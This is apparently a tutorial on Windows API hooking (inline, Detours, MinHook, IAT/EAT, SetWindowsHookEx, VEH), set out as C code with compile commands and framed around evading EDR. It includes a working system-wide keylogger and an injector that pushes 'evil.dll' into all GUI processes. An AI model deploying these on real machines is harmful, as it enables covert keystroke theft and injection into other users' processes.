API Hooking

DEFENDERS (EDR / AV):
├─ Hook NtAllocateVirtualMemory → inspect all memory allocations
├─ Hook NtCreateThreadEx        → catch shellcode injection
├─ Hook CreateProcess           → monitor child process creation
├─ Hook WriteProcessMemory      → catch code injection attempts
└─ Hook AmsiScanBuffer          → scan content before execution

ATTACKERS / RED TEAMS:
├─ Hook functions to hide malicious activity
├─ Hook to intercept credentials (e.g., LogonUserW)
├─ Hook to bypass AMSI / ETW / EDR detection
├─ Hook for keylogging (SetWindowsHookEx WH_KEYBOARD)
└─ Hook to redirect execution to shellcode

Normal flow (no hook):
  Caller  →  Win32 API (kernel32.dll)  →  Native API (ntdll.dll)  →  Kernel

Hooked flow:
  Caller  →  Win32 API  →  [HOOK INTERCEPTS HERE]  →  Hook Function
                                                          ↓
                                              (log / modify / block)
                                                          ↓
                                          → Original Function (trampoline)
                                                          ↓
                                                    → Kernel

Application Code
      │
      ▼
High-Level Win32 API (kernel32.dll / user32.dll / advapi32.dll)
  e.g., CreateFile, VirtualAlloc, MessageBoxA
      │  (these are thin wrappers)
      ▼
Native API Stubs (ntdll.dll) — Nt* / Zw* functions
  e.g., NtCreateFile, NtAllocateVirtualMemory
      │
      │  [EDR hooks are usually placed HERE — user mode]
      │
      ▼
SYSCALL instruction (transitions to kernel mode Ring 0)
      │
      ▼
SSDT (System Service Descriptor Table) — kernel function pointer table
      │
      ▼
Kernel-mode function (ntoskrnl.exe)
  e.g., NtCreateFile (kernel implementation)
      │
      ▼
Hardware / Driver layer

EDR typically hooks ntdll.dll in user-mode.
If you:
  → Hook before EDR  → EDR never sees the call
  → Bypass ntdll     → EDR is blind (direct syscalls)
  → Unhook ntdll     → Removes EDR's visibility entirely

BEFORE hook:
Target function (MessageBoxA):
  0x77AB1234:  48 83 EC 28     sub rsp, 0x28        ← original prologue
  0x77AB1238:  48 8B 05 ...    mov rax, [rip+...]
  0x77AB123C:  ...

AFTER hook installed:
Target function (MessageBoxA):
  0x77AB1234:  E9 CC BB AA 77  JMP 0x77AABBCC       ← overwritten → your hook
  0x77AB1238:  ...             (remaining original bytes)

Trampoline (saved prologue + JMP back):
  0xXXXXXXXX:  48 83 EC 28     (original bytes 1–5)
  0xXXXXXXXX:  48 8B 05 ...    (original bytes 6–14 — enough to be complete instructions)
  0xXXXXXXXX:  E9 ?? ?? ?? ??  JMP 0x77AB1239      ← jump back past the patch

Near JMP (5 bytes, within ±2GB):
  E9 XX XX XX XX    (rel32 offset)

Far JMP (14 bytes, full 64-bit address):
  FF 25 00 00 00 00   JMP [rip+0]
  XX XX XX XX XX XX XX XX  (absolute 64-bit address)
  → Required when hook function is > 2GB away from target

// inline_hook.c — Manual 64-bit inline hook (no library)
// Hooks MessageBoxW and intercepts arguments before calling original

#include <Windows.h>
#include <stdio.h>

// ── Type definitions ──────────────────────────────────────────
typedef int (WINAPI *fpMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);

// ── Globals ───────────────────────────────────────────────────
fpMessageBoxW pOriginalMessageBoxW = NULL;
BYTE          g_OriginalBytes[14]   = {0};   // saved prologue bytes
BOOL          g_Hooked              = FALSE;

// ── Our hook function (called instead of MessageBoxW) ─────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[HOOK] MessageBoxW intercepted!\n");
    wprintf(L"[HOOK] Text:    %ls\n", lpText);
    wprintf(L"[HOOK] Caption: %ls\n", lpCaption);

    // Optional: modify arguments before calling original
    // lpText = L"Hooked!";

    // Call the original via trampoline
    return pOriginalMessageBoxW(hWnd, lpText, lpCaption, uType);
}

// ── Install hook using 14-byte far JMP (x64-safe) ─────────────
BOOL InstallHook(LPCSTR moduleName, LPCSTR funcName, PVOID hookFunc) {
    // Get address of target function
    HMODULE hMod  = GetModuleHandleA(moduleName);
    if (!hMod) hMod = LoadLibraryA(moduleName);
    PVOID   pFunc = GetProcAddress(hMod, funcName);
    if (!pFunc) return FALSE;

    // Save original bytes (14 bytes for far JMP)
    memcpy(g_OriginalBytes, pFunc, sizeof(g_OriginalBytes));

    // Build 14-byte far JMP: FF 25 00000000 + [8-byte address]
    BYTE patch[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,  // JMP [rip+0]
        0x00, 0x00, 0x00, 0x00,               // address bytes (low DWORD)
        0x00, 0x00, 0x00, 0x00                // address bytes (high DWORD)
    };
    *(ULONG_PTR*)(patch + 6) = (ULONG_PTR)hookFunc;

    // Make memory writable
    DWORD oldProtect;
    VirtualProtect(pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect);

    // Write the JMP patch
    memcpy(pFunc, patch, sizeof(patch));

    // Restore memory protection
    VirtualProtect(pFunc, sizeof(patch), oldProtect, &oldProtect);

    g_Hooked = TRUE;
    printf("[+] Hook installed on %s!%s at 0x%p\n", moduleName, funcName, pFunc);
    return TRUE;
}

// ── Remove hook (restore original bytes) ──────────────────────
BOOL RemoveHook(LPCSTR moduleName, LPCSTR funcName) {
    HMODULE hMod  = GetModuleHandleA(moduleName);
    PVOID   pFunc = GetProcAddress(hMod, funcName);
    if (!pFunc) return FALSE;

    DWORD oldProtect;
    VirtualProtect(pFunc, sizeof(g_OriginalBytes), PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(pFunc, g_OriginalBytes, sizeof(g_OriginalBytes));
    VirtualProtect(pFunc, sizeof(g_OriginalBytes), oldProtect, &oldProtect);

    g_Hooked = FALSE;
    printf("[+] Hook removed from %s!%s\n", moduleName, funcName);
    return TRUE;
}

// ── Test ──────────────────────────────────────────────────────
int main(void) {
    // Save pointer to trampoline (original function bytes)
    pOriginalMessageBoxW = (fpMessageBoxW)MessageBoxW;

    // Install hook
    InstallHook("user32.dll", "MessageBoxW", HookedMessageBoxW);

    // This call now hits our hook
    MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);

    // Remove hook
    RemoveHook("user32.dll", "MessageBoxW");

    // This call now goes to real MessageBoxW
    MessageBoxW(NULL, L"Hello World", L"Test", MB_OK);

    return 0;
}

# MSVC
cl.exe inline_hook.c /Fe:inline_hook.exe /link user32.lib

# MinGW cross-compile
x86_64-w64-mingw32-gcc inline_hook.c -o inline_hook.exe -luser32

// Proper trampoline allocation
PVOID CreateTrampoline(PVOID pTarget, BYTE* savedBytes, SIZE_T savedLen) {
    // Allocate executable memory for trampoline
    PVOID pTrampoline = VirtualAlloc(NULL, savedLen + 14,
                                     MEM_COMMIT | MEM_RESERVE,
                                     PAGE_EXECUTE_READWRITE);
    if (!pTrampoline) return NULL;

    // Copy original displaced bytes into trampoline
    memcpy(pTrampoline, savedBytes, savedLen);

    // Build JMP back to target+savedLen (resume execution after patch)
    BYTE jmpBack[14] = {
        0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00
    };
    *(ULONG_PTR*)(jmpBack + 6) = (ULONG_PTR)((BYTE*)pTarget + savedLen);
    memcpy((BYTE*)pTrampoline + savedLen, jmpBack, sizeof(jmpBack));

    return pTrampoline;
}
// pTrampoline now acts as a safe "call original" function pointer

# vcpkg (recommended)
.\vcpkg\vcpkg install detours:x64-windows

# Or build from source
git clone https://github.com/microsoft/Detours
cd Detours
nmake           # MSVC required
# Output: lib.X64/detours.lib and include/detours.h

// detours_hook.c — Hook MessageBoxW using Microsoft Detours
#include <Windows.h>
#include <detours.h>
#include <stdio.h>
#pragma comment(lib, "detours.lib")
#pragma comment(lib, "user32.lib")

// ── Pointer to original function (Detours updates this) ───────
static int (WINAPI *TrueMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT)
    = MessageBoxW;

// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[DETOUR] MessageBoxW intercepted!\n");
    wprintf(L"[DETOUR] Text:    %ls\n", lpText);
    wprintf(L"[DETOUR] Caption: %ls\n", lpCaption);

    // Call original via trampoline (Detours sets this up automatically)
    return TrueMessageBoxW(hWnd, lpText, lpCaption, uType);
}

// ── Install hook ──────────────────────────────────────────────
void HookInstall(void) {
    DetourTransactionBegin();            // start atomic transaction
    DetourUpdateThread(GetCurrentThread()); // ensure thread safety
    DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
    LONG result = DetourTransactionCommit();  // apply all hooks atomically

    if (result == NO_ERROR)
        printf("[+] Detours hook installed\n");
    else
        printf("[-] Detours hook failed: %ld\n", result);
}

// ── Remove hook ───────────────────────────────────────────────
void HookRemove(void) {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
    DetourTransactionCommit();
    printf("[+] Detours hook removed\n");
}

int main(void) {
    HookInstall();

    MessageBoxW(NULL, L"Before unhook", L"Test", MB_OK);

    HookRemove();

    MessageBoxW(NULL, L"After unhook", L"Test", MB_OK);
    return 0;
}

// Hook multiple functions atomically — all succeed or all fail
static HANDLE (WINAPI *TrueCreateFileW)(LPCWSTR, DWORD, DWORD,
    LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE) = CreateFileW;

static BOOL (WINAPI *TrueWriteFile)(HANDLE, LPCVOID, DWORD,
    LPDWORD, LPOVERLAPPED) = WriteFile;

HANDLE WINAPI HookedCreateFileW(LPCWSTR lpFileName, DWORD dwAccess,
    DWORD dwShare, LPSECURITY_ATTRIBUTES lpSA, DWORD dwCreate,
    DWORD dwFlags, HANDLE hTemplate) {

    wprintf(L"[HOOK] CreateFileW: %ls\n", lpFileName);
    return TrueCreateFileW(lpFileName, dwAccess, dwShare,
                           lpSA, dwCreate, dwFlags, hTemplate);
}

BOOL WINAPI HookedWriteFile(HANDLE hFile, LPCVOID lpBuffer,
    DWORD nBytes, LPDWORD lpWritten, LPOVERLAPPED lpOverlapped) {

    printf("[HOOK] WriteFile: %lu bytes\n", nBytes);
    return TrueWriteFile(hFile, lpBuffer, nBytes, lpWritten, lpOverlapped);
}

void InstallMultipleHooks(void) {
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach(&(PVOID&)TrueCreateFileW, HookedCreateFileW);
    DetourAttach(&(PVOID&)TrueWriteFile, HookedWriteFile);
    DetourTransactionCommit();  // atomic — either both or neither installed
}

# withdll.exe ships with Detours
# Launches a process with a DLL injected that uses Detours hooks

withdll.exe /d:hook.dll target.exe

# hook.dll contains DllMain that calls DetourAttach in DLL_PROCESS_ATTACH

// hook.dll — DllMain-based Detours hook for injection
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpRes) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        DetourRestoreAfterWith();   // restore pre-injection state (Detours compat)
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
        DetourTransactionCommit();
    }
    if (dwReason == DLL_PROCESS_DETACH) {
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourDetach(&(PVOID&)TrueMessageBoxW, HookedMessageBoxW);
        DetourTransactionCommit();
    }
    return TRUE;
}

# vcpkg
.\vcpkg\vcpkg install minhook

# Or manually: download minhook.h + minhook.lib from GitHub releases
# Link: minhook.lib

// minhook_hook.c — Hook MessageBoxW using MinHook
#include <Windows.h>
#include <MinHook.h>
#include <stdio.h>
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "user32.lib")

// ── Function pointer type ─────────────────────────────────────
typedef int (WINAPI *LPFN_MessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);

// ── Pointer to original (trampoline) — MinHook fills this in ──
LPFN_MessageBoxW g_fpOriginalMessageBoxW = NULL;

// ── Hook function ─────────────────────────────────────────────
int WINAPI HookedMessageBoxW(HWND hWnd, LPCWSTR lpText,
                              LPCWSTR lpCaption, UINT uType) {
    wprintf(L"[MINHOOK] Intercepted! Text: %ls\n", lpText);
    // Call original through trampoline
    return g_fpOriginalMessageBoxW(hWnd, L"Hooked by MinHook!", lpCaption, uType);
}

int main(void) {
    // Initialize MinHook engine
    if (MH_Initialize() != MH_OK) {
        printf("[-] MH_Initialize failed\n");
        return 1;
    }

    // Create hook: target | detour | trampoline pointer
    if (MH_CreateHook(&MessageBoxW, &HookedMessageBoxW,
                      (LPVOID*)&g_fpOriginalMessageBoxW) != MH_OK) {
        printf("[-] MH_CreateHook failed\n");
        return 1;
    }

    // Enable the hook
    if (MH_EnableHook(&MessageBoxW) != MH_OK) {
        printf("[-] MH_EnableHook failed\n");
        return 1;
    }
    printf("[+] Hook enabled\n");

    MessageBoxW(NULL, L"Test Message", L"Test", MB_OK);  // → hooked

    // Disable hook
    MH_DisableHook(&MessageBoxW);
    printf("[+] Hook disabled\n");

    MessageBoxW(NULL, L"Test Message", L"Test", MB_OK);  // → original

    // Uninitialize
    MH_Uninitialize();
    return 0;
}

// Hook by module name and function name — no need for GetProcAddress
LPFN_MessageBoxW g_fpOriginal = NULL;

if (MH_CreateHookApiEx(L"user32", L"MessageBoxW",
                        &HookedMessageBoxW,
                        (LPVOID*)&g_fpOriginal,
                        NULL) != MH_OK) {
    printf("[-] Failed\n");
}
MH_EnableHook(MH_ALL_HOOKS);  // enable all registered hooks at once

// Hook NtAllocateVirtualMemory (ntdll)
#include <Windows.h>
#include <MinHook.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *fpNtAllocVirtMem)(
    HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);

fpNtAllocVirtMem g_fpOriginalNtAlloc = NULL;

NTSTATUS NTAPI HookedNtAllocateVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    ULONG_PTR ZeroBits, PSIZE_T RegionSize,
    ULONG AllocationType, ULONG Protect) {

    printf("[HOOK] NtAllocateVirtualMemory — PID: %lu | Size: %zu | Protect: 0x%X\n",
           GetProcessId(ProcessHandle), *RegionSize, Protect);

    // Block RWX allocations (common shellcode pattern)
    if (Protect == PAGE_EXECUTE_READWRITE) {
        printf("[BLOCK] RWX allocation blocked!\n");
        return STATUS_ACCESS_DENIED;
    }

    return g_fpOriginalNtAlloc(ProcessHandle, BaseAddress,
                               ZeroBits, RegionSize, AllocationType, Protect);
}

void HookNtdll(void) {
    MH_Initialize();
    MH_CreateHookApiEx(L"ntdll", L"NtAllocateVirtualMemory",
                        &HookedNtAllocateVirtualMemory,
                        (LPVOID*)&g_fpOriginalNtAlloc, NULL);
    MH_EnableHook(MH_ALL_HOOKS);
}

PE File Structure:
┌────────────────────────────────────────┐
│  DOS Header (IMAGE_DOS_HEADER)         │
│  PE Header  (IMAGE_NT_HEADERS)         │
│  Optional Header → DataDirectory[1]   │ ← Import Directory
│    → IMAGE_IMPORT_DESCRIPTOR[]         │
│        │                               │
│        ├─ Name: "user32.dll"           │
│        ├─ OriginalFirstThunk → INT     │ (Import Name Table)
│        └─ FirstThunk → IAT            │ ← WRITE YOUR HOOK HERE
│               │                        │
│               └─ [0]: addr of MessageBoxW
│               └─ [1]: addr of CreateWindowExW
│               └─ ...                  │
└────────────────────────────────────────┘

IAT entry BEFORE load:  0x00000000 (filled by loader)
IAT entry AFTER  load:  0x77AB1234 (real MessageBoxW in user32.dll)
IAT entry AFTER  hook:  0xXXXXXXXX (your hook function address)

// iat_hook.c — Hook MessageBoxA in a target process via IAT manipulation
#include <Windows.h>
#include <stdio.h>

// ── Our hook function ─────────────────────────────────────────
int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
                              LPCSTR lpCaption, UINT uType) {
    printf("[IAT HOOK] MessageBoxA intercepted!\n");
    printf("[IAT HOOK] Text: %s\n", lpText);
    // Call real function directly (not through IAT — avoids re-hooking)
    return ((int(WINAPI*)(HWND,LPCSTR,LPCSTR,UINT))
             GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA"))
            (hWnd, lpText, lpCaption, uType);
}

// ── Walk the IAT and replace function pointer ─────────────────
BOOL HookIAT(HMODULE hModule,       // module whose IAT to patch
             LPCSTR  targetDll,     // e.g. "user32.dll"
             LPCSTR  targetFunc,    // e.g. "MessageBoxA"
             PVOID   hookFunc) {    // replacement function

    // Base address of the module
    DWORD_PTR baseAddr = (DWORD_PTR)hModule;

    // Parse PE headers
    PIMAGE_DOS_HEADER      pDOS  = (PIMAGE_DOS_HEADER)baseAddr;
    PIMAGE_NT_HEADERS      pNT   = (PIMAGE_NT_HEADERS)(baseAddr + pDOS->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImport =
        (PIMAGE_IMPORT_DESCRIPTOR)(baseAddr +
            pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    // Walk import descriptors (one per imported DLL)
    for (; pImport->Name != 0; pImport++) {
        LPCSTR importedDll = (LPCSTR)(baseAddr + pImport->Name);

        // Case-insensitive match on DLL name
        if (_stricmp(importedDll, targetDll) != 0)
            continue;

        // Walk the IAT (FirstThunk) and INT (OriginalFirstThunk) in parallel
        PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->OriginalFirstThunk);
        PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(baseAddr + pImport->FirstThunk);

        for (; pINT->u1.Function != 0; pINT++, pIAT++) {
            // Skip ordinal imports
            if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal))
                continue;

            // Get the function name from INT
            PIMAGE_IMPORT_BY_NAME pIBN =
                (PIMAGE_IMPORT_BY_NAME)(baseAddr + pINT->u1.AddressOfData);

            if (strcmp((LPCSTR)pIBN->Name, targetFunc) != 0)
                continue;

            // Found — change memory protection and overwrite IAT pointer
            DWORD oldProtect;
            VirtualProtect(&pIAT->u1.Function,
                           sizeof(DWORD_PTR), PAGE_READWRITE, &oldProtect);

            pIAT->u1.Function = (DWORD_PTR)hookFunc;

            VirtualProtect(&pIAT->u1.Function,
                           sizeof(DWORD_PTR), oldProtect, &oldProtect);

            printf("[+] IAT hook installed: %s!%s @ 0x%p\n",
                   targetDll, targetFunc, &pIAT->u1.Function);
            return TRUE;
        }
    }

    printf("[-] Function %s!%s not found in IAT\n", targetDll, targetFunc);
    return FALSE;
}

int main(void) {
    // Hook MessageBoxA in the current process's own IAT
    HMODULE hSelf = GetModuleHandle(NULL);   // NULL = current executable
    HookIAT(hSelf, "user32.dll", "MessageBoxA", HookedMessageBoxA);

    // Now calls from THIS module go through our hook
    MessageBoxA(NULL, "Hello!", "Test", MB_OK);
    return 0;
}

cl.exe iat_hook.c /Fe:iat_hook.exe /link user32.lib

Scope:       Only hooks calls FROM the module whose IAT is patched
             (does NOT affect calls from other modules)

Detection:   EDR scanners walk the IAT and check that every pointer
             lands inside its expected module's memory range.
             Tools: PE-sieve, pe-bear

OPSEC:       IAT hook does not modify function code → no E9 patch
             → Survives function integrity checks
             → But FAILS if the target module resolves the function
               dynamically (GetProcAddress) instead of via IAT

// eat_hook.c — Modify the EAT of user32.dll to redirect MessageBoxA
#include <Windows.h>
#include <stdio.h>

int WINAPI HookedMessageBoxA(HWND hWnd, LPCSTR lpText,
                              LPCSTR lpCaption, UINT uType) {
    printf("[EAT HOOK] MessageBoxA via GetProcAddress intercepted!\n");
    return 0;
}

BOOL HookEAT(HMODULE hModule, LPCSTR targetFunc, PVOID hookFunc) {
    DWORD_PTR base = (DWORD_PTR)hModule;

    PIMAGE_DOS_HEADER  pDOS = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS  pNT  = (PIMAGE_NT_HEADERS)(base + pDOS->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExport =
        (PIMAGE_EXPORT_DIRECTORY)(base +
            pNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    // Arrays in the EAT
    DWORD* pFunctions = (DWORD*)(base + pExport->AddressOfFunctions);
    DWORD* pNames     = (DWORD*)(base + pExport->AddressOfNames);
    WORD*  pOrdinals  = (WORD*)( base + pExport->AddressOfNameOrdinals);

    // Walk the name table
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        LPCSTR funcName = (LPCSTR)(base + pNames[i]);
        if (strcmp(funcName, targetFunc) != 0) continue;

        // Get index into function table via ordinal array
        WORD ordinal    = pOrdinals[i];
        DWORD* pFuncRVA = &pFunctions[ordinal];

        // Calculate hook's RVA relative to module base
        DWORD hookRVA = (DWORD)((DWORD_PTR)hookFunc - base);

        // Write hook RVA into the EAT
        DWORD oldProtect;
        VirtualProtect(pFuncRVA, sizeof(DWORD), PAGE_READWRITE, &oldProtect);
        *pFuncRVA = hookRVA;
        VirtualProtect(pFuncRVA, sizeof(DWORD), oldProtect, &oldProtect);

        printf("[+] EAT hook installed: %s (ordinal %d) → 0x%p\n",
               targetFunc, ordinal, hookFunc);
        return TRUE;
    }
    return FALSE;
}

// Note: hookFunc must be in the same module as hModule for RVA to be valid
// In practice, use a shellcode/code cave in the DLL or inject your DLL first

HHOOK SetWindowsHookExW(
    int       idHook,      // Hook type (WH_KEYBOARD, WH_MOUSE, etc.)
    HOOKPROC  lpfn,        // Pointer to hook procedure
    HINSTANCE hmod,        // Handle to DLL containing lpfn (NULL for thread-only)
    DWORD     dwThreadId   // 0 = global (all threads), or specific thread ID
);

// keylogger_hook.c — Global keyboard hook via SetWindowsHookExW
// Must be in a DLL for global scope (system-wide keylogging)

#include <Windows.h>
#include <stdio.h>

static HHOOK g_hKeyboardHook = NULL;
static FILE* g_logFile        = NULL;

// ── Hook procedure ────────────────────────────────────────────
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        PKBDLLHOOKSTRUCT pKbd = (PKBDLLHOOKSTRUCT)lParam;

        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            // Convert virtual key code to character
            BYTE kbState[256] = {0};
            GetKeyboardState(kbState);

            wchar_t buf[5] = {0};
            int result = ToUnicode(pKbd->vkCode, pKbd->scanCode,
                                   kbState, buf, 4, 0);

            if (result > 0) {
                wprintf(L"[KEY] %ls\n", buf);
                if (g_logFile) fwprintf(g_logFile, L"%ls", buf);
            } else {
                // Special key — log virtual key name
                char keyName[64] = {0};
                GetKeyNameTextA((pKbd->scanCode << 16) |
                                (pKbd->flags & LLKHF_EXTENDED ? 0x01000000 : 0),
                                keyName, sizeof(keyName));
                printf("[SPECIAL] %s\n", keyName);
            }
        }
    }
    // MUST call CallNextHookEx to pass to next hook in chain
    return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

// ── Install global keyboard hook ──────────────────────────────
void InstallKeyboardHook(void) {
    g_logFile = fopen("keys.log", "a");

    // WH_KEYBOARD_LL — low-level, system-wide, no DLL injection needed
    g_hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL,
                                         LowLevelKeyboardProc,
                                         NULL,   // NULL for LL hooks
                                         0);     // 0 = all threads
    if (g_hKeyboardHook)
        printf("[+] Keyboard hook installed\n");
    else
        printf("[-] Failed: %lu\n", GetLastError());
}

int main(void) {
    InstallKeyboardHook();

    // Message loop required — LL hooks need a pump
    MSG msg;
    printf("[*] Listening... Press Ctrl+C to stop\n");
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    UnhookWindowsHookEx(g_hKeyboardHook);
    if (g_logFile) fclose(g_logFile);
    return 0;
}

cl.exe keylogger_hook.c /Fe:keyhook.exe /link user32.lib

// injector.c — Use SetWindowsHookEx to inject evil.dll into all GUI processes
#include <Windows.h>
#include <stdio.h>

int main(void) {
    // Load the DLL to inject
    HMODULE hDll = LoadLibraryA("evil.dll");
    if (!hDll) {
        printf("[-] Failed to load DLL: %lu\n", GetLastError());
        return 1;
    }

    // Get exported hook proc from the DLL
    // (evil.dll must export a HOOKPROC function)
    HOOKPROC hookProc = (HOOKPROC)GetProcAddress(hDll, "HookProc");
    if (!hookProc) {
        printf("[-] HookProc export not found\n");
        return 1;
    }

    // Install GLOBAL keyboard hook — Windows injects evil.dll into all GUI processes
    HHOOK hHook = SetWindowsHookExW(WH_KEYBOARD,
                                     hookProc,
                                     hDll,
                                     0);      // 0 = all threads = DLL injection
    if (!hHook) {
        printf("[-] SetWindowsHookEx failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Hook installed — evil.dll injected into GUI processes\n");
    printf("[*] Press any key in any GUI app to trigger...\n");

    Sleep(10000);   // Keep running so hook stays active

    UnhookWindowsHookEx(hHook);
    FreeLibrary(hDll);
    return 0;
}

// evil.dll — The injected DLL (must export HookProc)
// evil_dll.c
#include <Windows.h>

__declspec(dllexport) LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        // Code runs inside the hooked process!
        // Could spawn thread, inject shellcode, steal data, etc.
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // This runs in every injected process
        MessageBoxA(NULL, "DLL Injected!", "evil.dll", MB_OK);
    }
    return TRUE;
}

# MSVC
cl.exe /LD evil_dll.c /Fe:evil.dll /link user32.lib

# MinGW
x86_64-w64-mingw32-gcc -shared evil_dll.c -o evil.dll -luser32

// WH_CBT hook — intercept window creation events
static HHOOK g_hCBT = NULL;

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HCBT_CREATEWND) {
        HWND hWnd = (HWND)wParam;
        CBT_CREATEWND* pCreate = (CBT_CREATEWND*)lParam;
        wprintf(L"[CBT] Window created: class=%ls title=%ls\n",
                pCreate->lpcs->lpszClass,
                (LPCWSTR)pCreate->lpcs->lpszName);
    }
    if (nCode == HCBT_DESTROYWND) {
        printf("[CBT] Window destroyed: HWND=0x%p\n", (PVOID)wParam);
    }
    return CallNextHookEx(g_hCBT, nCode, wParam, lParam);
}

g_hCBT = SetWindowsHookExW(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
// Use GetCurrentThreadId() for thread-scope CBT hook (no DLL injection)

Traditional inline hook:
  Target function bytes: E9 XX XX XX XX   ← JMP → visible to integrity scan

VEH hook:
  Target function bytes: 48 83 EC 28...   ← UNCHANGED (original prologue)
  Hardware breakpoint:   Set in DR0–DR3  ← Debug registers (no memory mod)

  → EDR's function integrity scan sees CLEAN bytes
  → No memory modification at all (with HWBP variant)

// veh_int3_hook.c — VEH hook using INT3 software breakpoint
#include <Windows.h>
#include <stdio.h>

static PVOID  g_pTarget     = NULL;  // address to hook
static BYTE   g_OrigByte    = 0;     // saved original byte at target
static PVOID  g_VEHHandle   = NULL;  // VEH handler handle

// ── Our "hook" logic — runs inside exception handler ──────────
void OnHookTriggered(PCONTEXT pCtx) {
    // pCtx->Rcx, Rdx, R8, R9 = first 4 args on x64 (Windows calling conv)
    printf("[VEH] Hook triggered! RIP=0x%llx, RCX=0x%llx, RDX=0x%llx\n",
           pCtx->Rip, pCtx->Rcx, pCtx->Rdx);

    // Restore original byte so the real function executes cleanly
    DWORD oldProtect;
    VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)g_pTarget = g_OrigByte;
    VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);

    // Set single-step flag so we can re-install the hook after one instruction
    pCtx->EFlags |= 0x100;  // TF (Trap Flag) — triggers EXCEPTION_SINGLE_STEP

    // Do NOT call the original here — let execution continue at g_pTarget
    // (RIP already points to the patched instruction which is now restored)
}

static BOOL g_Reinstall = FALSE;

// ── VEH handler ───────────────────────────────────────────────
LONG CALLBACK VEHHandler(PEXCEPTION_POINTERS pExInfo) {
    PEXCEPTION_RECORD pRec = pExInfo->ExceptionRecord;
    PCONTEXT          pCtx = pExInfo->ContextRecord;

    // Breakpoint at our target
    if (pRec->ExceptionCode == EXCEPTION_BREAKPOINT &&
        pRec->ExceptionAddress == g_pTarget) {
        OnHookTriggered(pCtx);
        g_Reinstall = TRUE;
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    // Single-step: re-install INT3
    if (pRec->ExceptionCode == EXCEPTION_SINGLE_STEP && g_Reinstall) {
        g_Reinstall = FALSE;
        DWORD oldProtect;
        VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
        *(BYTE*)g_pTarget = 0xCC;   // INT3
        VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }

    return EXCEPTION_CONTINUE_SEARCH;  // not ours — pass on
}

void InstallVEHHook(PVOID pTarget) {
    g_pTarget = pTarget;

    // Register VEH — '1' = first in chain (highest priority)
    g_VEHHandle = AddVectoredExceptionHandler(1, VEHHandler);

    // Save original byte and write INT3
    g_OrigByte = *(BYTE*)pTarget;
    DWORD oldProtect;
    VirtualProtect(pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)pTarget = 0xCC;   // INT3 breakpoint
    VirtualProtect(pTarget, 1, oldProtect, &oldProtect);

    printf("[+] VEH INT3 hook installed at 0x%p\n", pTarget);
}

void RemoveVEHHook(void) {
    // Restore original byte
    DWORD oldProtect;
    VirtualProtect(g_pTarget, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    *(BYTE*)g_pTarget = g_OrigByte;
    VirtualProtect(g_pTarget, 1, oldProtect, &oldProtect);

    // Remove VEH
